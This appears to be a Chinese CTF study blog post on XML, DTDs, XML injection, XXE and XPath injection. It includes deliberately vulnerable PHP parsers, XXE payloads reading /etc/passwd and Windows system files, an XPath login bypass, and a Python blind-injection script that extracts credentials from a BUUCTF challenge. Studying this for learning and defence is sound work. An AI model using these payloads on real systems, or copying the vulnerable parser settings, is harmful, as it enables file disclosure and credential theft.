为啥有了这篇文章 在刷buu上的题目时,找到了一个关于xpath注入的题,然后转了转我愚笨的大脑,发现忘记了,忘了再学一遍,顺便总结一下,之前都没总结过这东西
XML简单介绍 XML全称可扩展标记语言(EXtensible Markup Language)。 XML和HTML的语言风格很像,都是标记语言,有对应的tag,唯一不同的就是作用,XML侧重于数据传输,HTML注重与标记语言
XML的基本格式 1 2 3 4 5 6 7 8 9 <?xml version="1.0" encoding="UTF-8" standalone="yes" ?> <bookstore > <book category ="COOKING" > <title > Everyday Italian</title > <author > Giada De Laurentiis</author > <year > 2005</year > <price > 30.00</price > </book > </bookstore >
上面就是一个标准的XML格式,其实看起来就是HTML没错,代码块里看的可能不清楚: 在IDEA里缩进就可以看清楚,XML是有父节点和子节点的,和HTML一样
所有 XML 元素都须有关闭标签。
XML 标签对大小写敏感。
XML 必须正确地嵌套。
XML 文档必须有根元素。
XML 的属性值须加引号。
可以写个PHP代码来读取XML文件:
1 2 3 4 5 6 7 8 9 10 <?php libxml_disable_entity_loader (false );$xmlfile = file_get_contents ('C:\Users\22927\Downloads\source\src\static\XXE.xml' );$dom = new DOMDocument ();$dom ->loadXML ($xmlfile , LIBXML_NOENT | LIBXML_DTDLOAD);$creds = simplexml_import_dom ($dom );var_dump ($creds );?>
输出结果如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 class SimpleXMLElement#2 (2) { public $comment => array(2) { [0] => class SimpleXMLElement#3 (0) { } [1] => class SimpleXMLElement#5 (0) { } } public $book => class SimpleXMLElement#4 (6) { public $@attributes => array(1) { 'category' => string(7) "COOKING" } public $comment => array(5) { [0] => class SimpleXMLElement#6 (0) { ... } [1] => class SimpleXMLElement#7 (0) { ... } [2] => class SimpleXMLElement#8 (0) { ... } [3] => class SimpleXMLElement#9 (0) { ... } [4] => class SimpleXMLElement#10 (0) { ... } } public $title => string(16) "Everyday Italian" public $author => string(19) "Giada De Laurentiis" public $year => string(4) "2005" public $price => string(5) "30.00" } }
在XML元素内部是不可以有特殊字符的比如< > &
: 否则就报错,要使用就得转义,在XML中也有几种预定义实体 即用< > & ' "
替换 < > & ' "
。
DTD(document type definition) DTD是XML的一部分,他用来给XML定义一种格式规范,比如自定义一种标签 DTD用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在另外一个单独的文件中(外部引用)。是XML文档中的几条语句,用来说明哪些元素/属性是合法的以及元素间应当怎样嵌套/结合,也用来将一些特殊字符和可复用代码段自定义为实体。
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。
1、内部DTD 假如在XML中定义了DTD,那么就要严格遵循DTD里的规范,毕竟DTD是对XML的一种限制,如下面的例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?xml version="1.0" ?> <!DOCTYPE note [<!--定义此文档是 note 类型的文档--> <!ELEMENT note (to ,from ,head ,body )> <!--定义note元素有四个元素--> <!ELEMENT to (#PCDATA )> <!--定义to元素为”#PCDATA”类型--> <!ELEMENT from (#PCDATA )> <!--定义from元素为”#PCDATA”类型--> <!ELEMENT head (#PCDATA )> <!--定义head元素为”#PCDATA”类型--> <!ELEMENT body (#PCDATA )> <!--定义body元素为”#PCDATA”类型--> ]> <note > <to > Boogipop</to > <from > is</from > <head > Learning</head > <body > XXE</body > </note >
上面出现了一些元素的类型,在注释中都有解释,下面给一张图来罗列一下不同的类型:
PCDATA PCDATA的意思是被解析的字符数据。PCDATA是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理,而实体会被展开。 被解析的字符数据不应当包含任何&,<,或者>字符,需要用& < >实体来分别替换。
CDATA CDATA意思是字符数据,CDATA 是不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。
在上述例子中我们只定义了四种标签,因此不能再有其他标签,否则会报错,如果要添加新的标签,首先得在DTD中定义:
2、外部DTD (1)引入外部的dtd文件<!DOCTYPE 根元素名称 SYSTEM "dtd路径">
(2)使用外部的dtd文件(网络上的dtd文件)<!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文档的URL">
当使用外部DTD时,通过如下语法引入:<!DOCTYPE root-element SYSTEM "filename">
示例代码:
1 2 3 4 5 6 7 8 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE root-element SYSTEM "test.dtd" > <note > <to > Boogipop</to > <from > is</from > <head > Learning</head > <body > XXE</body > </note >
test.dtd:
1 2 3 4 <!ELEMENT to (#PCDATA )> <!ELEMENT from (#PCDATA )> <!ELEMENT head (#PCDATA )> <!ELEMENT body (#PCDATA )>
3、DTD属性 这部分大致的理解一下就行,因为我们见得不多 属性声明语法:<!ATTLIST 元素名称 属性名称 属性类型 默认值>
DTD实例:<!ATTLIST payment Luckey CDATA "Q">
XML实例:<payment Luckey="Q" />
以下是 属性类型的选项: 默认属性值可使用下列值: 其实就是跟HTML标签属性一样
4、DTD实体 一般实体和参数实体
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。 实体引用是对实体的引用。 实体可在内部或外部进行声明|
你可以理解DTD实体就是定义一个变量,给标签内的元素赋值 DTD实体假如按照参数有无,可以分为两种,一般实体、参数实体 一般实体的声明:<!ENTITY 实体名称 "实体内容">
参数实体的声明:<!ENTITY % 实体名称 "实体内容">
一般实体在代码块中引用通过&名称
进行引用,而参数实体是通过%名称
进行引用的 另外需要注意的是他们引用的位置,一般实体直接在代码块进行引用如:
1 2 3 4 5 <?xml version = "1.0" encoding = "utf-8" ?> <!DOCTYPE test [ <!ENTITY writer "Dawn" > ]> <test > &writer; </test >
如上,直接给元素进行赋值 而参数实体是在DTD内部进行引用,如:
1 2 3 4 5 6 7 <?xml version = "1.0" encoding = "utf-8" ?> <!DOCTYPE test [ <!ENTITY %writer "Dawn" > %writer ] > <test > test</test >
内部实体和外部实体 假如按照引用来划分,可以分为内部实体和外部实体,引用方式和引用内部DTD和外部DTD一样
外部实体,用来引入外部资源。有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机。
1 2 3 <!ENTITY 实体名称 SYSTEM "URI/URL" > 或者 <!ENTITY 实体名称 PUBLIC "public_ID" "URI" >
例如:
1 2 3 4 5 6 <?xml version = "1.0" encoding = "utf-8" ?> <!DOCTYPE test [ <!ENTITY file SYSTEM "file:///etc/passwd" > <!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd" > ]> <author > &file; </author >
外部实体的引用是支持协议的,如file协议,http协议,对于PHP的话支持的协议更多,比如filter,data,php等等…..
内部实体1 2 3 4 5 <?xml version = "1.0" encoding = "utf-8" ?> <!DOCTYPE test [ <!ENTITY writer "Dawn" > #这个就是内部实体,其实和上面的一般实体一样 ]> <test > &writer; </test >
内部实体其实就和一般实体一样,都一个意思
参数实体+外部实体组合拳 参数实体和外部实体可以直接组合在一起使用<!ENTITY % 实体名称 SYSTEM "URI/URL">
,如:
1 2 3 4 5 <?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "file:///etc/passwd" > %file; ]>
XML注入 XML注入和SQL注入有异曲同工之妙,原理就是闭合标签,达到闭合的效果,其实XML注入比较简单,这里我就自己建立一个小Demo来模拟一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php libxml_disable_entity_loader (false );$input =file_get_contents ("php://input" );$xmlfile = "<?xml version='1.0' encoding='UTF-8' standalone='yes'?> <bookstore> <book category='COOKING'> <title>Everyday Italian</title> <author>$input </author> <year>2005</year> <price>30.00</price> </book> </bookstore>" ;$dom = new DOMDocument ();$dom ->loadXML ($xmlfile , LIBXML_NOENT | LIBXML_DTDLOAD);$creds = simplexml_import_dom ($dom );var_dump ($creds );?>
在这个demo中我们可以控制标签中的Author标签的值,因此我们可以尝试闭合上面的标签,达到注入的效果,假如我们想要修改price标签的值为hacked 那么我们可以构造如下payloadBoogipop</author><price>hacked</price><author>
XML注入就是这么简单,内容就这么点儿
防御建议 直接把那些脏字符ban了就行 将他们转义即可抵御攻击
XXE外部实体注入 XXE全称就是外部实体注入,其实外部实体注入的利用有太多了,具体的几个点可以参考:https://xz.aliyun.com/t/3357#toc-14 这里把外部实体注入的利用方法基本都全部罗列了,感谢师傅们的总结QWQ 然后我这里把最常用的举个例子,最常用不亚于file协议来读了:
1 2 3 4 5 6 7 8 9 10 <?php libxml_disable_entity_loader (false ); $xmlfile = file_get_contents ('php://input' ); $dom = new DOMDocument (); $dom ->loadXML ($xmlfile , LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom ($dom ); echo $creds ; ?>
1 2 3 4 <? xml version="1.0" encoding="utf-8" ?> <!DOCTYPE creds [ <!ENTITY goodies SYSTEM "file:///c:/windows/system.ini" > ]> <creds>&goodies;</creds>
成功读取windows的系统文件
XXE内部实体注入 内部实体注入就比较好玩儿了,可以参考:https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/ 主要方式就是外部实体加参数实体,通过报错带出数据
Xpath基本语法 先说一下Xpath的基本术语: – Parent:父节点 – Child:子节点 – Sibling:同胞节点 – Ancestor:先辈节点 – Descendant:后代节点
Xpath基本语法如下: 看完后其实也没啥,就是有点复杂然后容易忘,所以这里直接拿2个例题来说
Xpath的逻辑运算符:
Xpath Demo1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?xml version="1.0" encoding="UTF-8" ?> <root > <users > <user > <id > 1</id > <username > test1</username > <password > test1</password > </user > <user > <id > 2</id > <username > test2</username > <password > test2</password > </user > </users > </root >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php $xml =simplexml_load_file ('XXE.xml' );$name =$_GET ['name' ];$pwd =$_GET ['pwd' ];$query ="/root/users/user[username/text()='" .$name ."' and password/text()='" .$pwd ."']" ;echo $query ;$result =$xml ->xpath ($query );if ($result ){ echo '<h2>Welcome</h2>' ; foreach ($result as $key =>$value ){ echo ' ID:' .$value ->id; echo ' Username:' .$value ->username; } } ?>
可以看到正常查询是会有所回显的,假如我们和SQL注入一样尝试闭合会发生啥呢??name=test1'or+1=1+or+'1'='1&pwd=test1
这样查询语句就变成了/root/users/user[username/text()='test1'or 1=1 or '1'='1' and password/text()='test1']
,因此回显了所有数据,和万能密码一样
[NPUCTF2020]ezlogin 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 import requestsimport res = requests.session() url ='http://47e7790f-8a53-4efa-988b-7a350ebb91d5.node3.buuoj.cn//login.php' head ={ "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" , "Content-Type" : "application/xml" } find =re.compile ('<input type="hidden" id="token" value="(.*?)" />' ) strs ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789' flag ='' for i in range (1 ,100 ): for j in strs: r = s.post(url=url) token = find.findall(r.text) payload_1 = "<username>'or substring(name(/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>" .format (i,j,token[0 ]) payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>" .format (i,j,token[0 ]) payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>" .format (i,j,token[0 ]) payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>" .format (i,j,token[0 ]) payload_username ="<username>'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>" .format (i,j,token[0 ]) payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>" .format (i,j,token[0 ]) print (payload_password) r = s.post(url=url,headers=head,data=payload_username) print (r.text) if "非法操作" in r.text: flag+=j print (flag) break if "用户名或密码错误!" in r.text: break print (flag)
xpath盲注,和sql盲注一样,属于是有技术的